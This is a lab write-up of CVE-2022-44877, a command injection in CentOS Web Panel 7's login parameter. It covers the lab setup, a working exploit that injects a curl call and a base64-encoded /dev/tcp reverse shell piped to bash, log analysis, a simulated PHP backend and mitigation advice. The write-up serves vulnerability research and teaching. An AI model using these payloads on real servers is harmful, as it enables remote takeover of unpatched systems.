Unauthenticated RCE in Centos Control Web Panel 7 (CWP) — CVE-2022–44877
Introduction
Unauthenticated RCE in Centos Web Panel 7 — CWP 7 has been found and registered as CVE-2022–44877.
Version affected Centos Web Panel 7 - < 0.9.8.1147
This is one of the CVEs of the month and based on Greynoise (Check it here) there are 6 unique IPs attempted to exploit this CVE.
Based on Shodan search (check it here) CWP is running on 453,848 servers
Build the lab
Install the system
- Setup CentOS 7
- Install wget
sudo yum -y install wget
- Update the system
sudo yum -y update
- Reboot
Install CWP
Follow these commands:
sudo su
cd /usr/local/src
wget http://centos-webpanel.com/cwp-el7-latest
sh cwp-el7-latest
- After the installation is done reboot the system
Downgrade CWP to the vulnerable version
Follow these commands:
cd /usr/local/cwpsrv/htdocs
chattr -i -R /usr/local/cwpsrv/htdocs
wget http://static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip
unzip -o -q cwp-el7-0.9.8.1146.zip
rm -f cwp-el7-0.9.8.1146.zip
- Reboot the system
Login to CWP
- Open the link in the browser:
http://IP:2030/
- The username and password are the root user and the password of the root.
The vulnerability
The vulnerability existed in “login” parameter in the login page
- Capture the login request
- Now, let’s make a simple test by trying to curl website
- Run http simple server
python3 -m http.server
- replace “login=logout” with
login=$(curl${IFS}192.168.1.105:8000)
and here is the request:
While I’m reproducing this vulnerability I noticed something with the authentication.
This is supposed to be “unauthenticated RCE”, but I found out that you still need to know the correct username.
Here are some test cases:
- Send the payload with the incorrect username & incorrect password ❌
- Send the payload with the incorrect username & correct password ❌
- Send the payload with the correct username & incorrect password ✅
Before we go to how to get a reverse shell, let’s explain the payload
Let’s take this payload as an example:
$(curl${IFS}192.168.1.105:8000)
- The
IFS
variable is being used here in a way that it's being used as a separator between - the
curl
command and the URL, which is "192.168.1.105:8000". - The
$()
operator is used to execute the command inside the parentheses and returns the output. This means that the command is making a request to the specified IP address and port number using, and the output of the request will be returned and can be used in the following commands or assigned to a variable.
The RCE
- Here is the reverse shell:
sh -i >& /dev/tcp/192.168.1.105/9001 0>&1
- Encode the reverse shell to Base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS85MDAxIDA+JjE=
- The final format of the payload:
$(echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS85MDAxIDA+JjE=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)
- Start the listener
- Send the payload
- Receive the connection
- Let’s see where the execution happened
Now we know that the login page under admin it’s the vulnerable one.
Let’s move to the static analysis
Static Analysis
Open the source code we downloaded from here:
http://static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip
Unfortunately, this is all that we got.
The source code is encoded with ionCube, it’s easy to decode it or reverse engineer it, and it’s illegal.
We only have one line script here which checks if the IonCube Loader extension is loaded and if not, it attempts to load it dynamically.
Since we don’t have the source code I wanted to get more insight into what the code would look like.
So I started to run more analysis trying to understand the code in the back-end so I can simulate it:
- I know that any command execution results getting stored in the logs
The login errors getting recorded in/var/log/cwp_client_login.log
now cat cwp_client_login.log
While I’m doing this I noticed the following:
As we mentioned before, the user should be correct and we are assuming that we don’t know the password.
Since this is failed login, the website will redirect the user to log in again.
in this case, the command will not execute ❌
in case we are using Brupsuite, once we send the request the command gets executed ✅
Since the results of the executed commands getting recorded in the log files, I want to analyze the logs.
2023-01-25 20:44:27 root Failed Login from: 192.168.1.107 on: 'https://localhost:2031/login/index.php?login=root'
- The “2023–01–25 20:44:27” date and time get changed every time, so this is a variable.
- The “root” is the user
- “Failed Login from:” This is a message and it’s the same every time
- The “192.168.1.107” is the IP of the user who is trying to log in
- ‘https://localhost:2031/login/index.php?login=root' I’m not sure why it’s “localhost” here, however, what we inject after “login=” it’s getting executed and this changes every time so it’s a variable.
$error = $DATE.$USER."Failed Login form:".$URL
The facts we gathered:
- There is a check, if the user is not correct the execution doesn’t work.
- When the login error happens the URL with the parameter getting recorded in cwp_client_login.log
- The date changes, the user (I’m not sure about it, but it should be a variable as well), the failed login statement, and the user IP.
This brings us to a very interesting conclusion, only IF there is a login error where the user is correct, the URL along with the parameter will be stored in the log file.
we can understand that there is something wrong that happened when the whole URL gets passed and not enough sanitization.
After more reading about this specific CVE, I found that the URL is getting passed to some execution function and that’s how the false attempts are logged
The mentioned technique in the blogs are as follows:
echo "incorrect_enter, IP address, HTTP_request_URI" >> ./wring_entry.log
After I made some tests, I found that unless we passed the payload in this specific way such as:
- $(command)
` command `
it won’t execute, so that means there is something else. more searching, and asking questions. I was looking for functions in PHP I may use to sanitize a parameter against command injection. because if they are passing anything to execute a command they are supposed to sanitize the passed parameters first.
I found those two:
escapeshellarg()
: This function is used to escape a string to be used as a command-line argument in a shell command. It adds single quotes around the string and escapes any existing single quotes within the string, ensuring that the string is treated as a single argument and is protected against injection attacks.escapeshellcmd()
: This function is used to escape a string that is used as a shell command. It escapes any characters that may be used to inject additional commands into the shell command.
I also found this resource:
Simulating the back-end code
This is my final conclusion of how the code could look like in the backend:
<?php
if(isset($_POST['login'])) {
$date_time = date("Y-m-d H:i:s");
$username = $_POST['username'];
$password = $_POST['password'];
$url = $_SERVER['REQUEST_URI'];
$remote_ip = $_SERVER["REMOTE_ADDR"];
if($username != "root"){
echo "You are not authorized to login";
}
else {
if($username == "root") {
$escapedUrl = escapeshellarg($url);
system("echo \"" . $date_time . " " . $username . " Successful Login from: " . $remote_ip . " on: " . $escapedUrl . "\" >> cwp_client_login.log");
echo "Welcome root";
}
else {
echo "Wrong Password or Username!";
}
}
}
?>
<form action="" method="post">
<label for="username">Username:</label>
<input type="text" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" name="password" required>
<br>
<input type="submit" name="login" value="Login">
</form>
Run the code to test it
php -S ip:port test.php
- Send the request
Mitigation
Upgrade CWP to the latest version.
Final thoughts
This is a very simple and easy vulnerability to exploit and that is what makes it more dangerous, however, it’s always interesting and fun to dive deep into the source code and understand the root cause of the vulnerability.
In our case since the code is encoded and it’s illegal to decode it, I tried to give more insight into how this vulnerability might be happening in the backend therefore I needed to conduct a lot more analysis and tests, also go through tons of researching and asking questions.
Resources:
- https://socradar.io/threat-actors-exploit-cve-2022-44877-rce-vulnerability-in-centos-web-panel-cwp/
- https://www.rezilion.com/blog/control-web-panel-vulnerability-cve-2022-44877-actively-exploited-in-the-wild/
- https://github.com/numanturle/CVE-2022-44877
- https://packetstormsecurity.com/files/170388/Control-Web-Panel-7-Remote-Code-Execution.html
#CVE-2022–44877 #CWP #RCE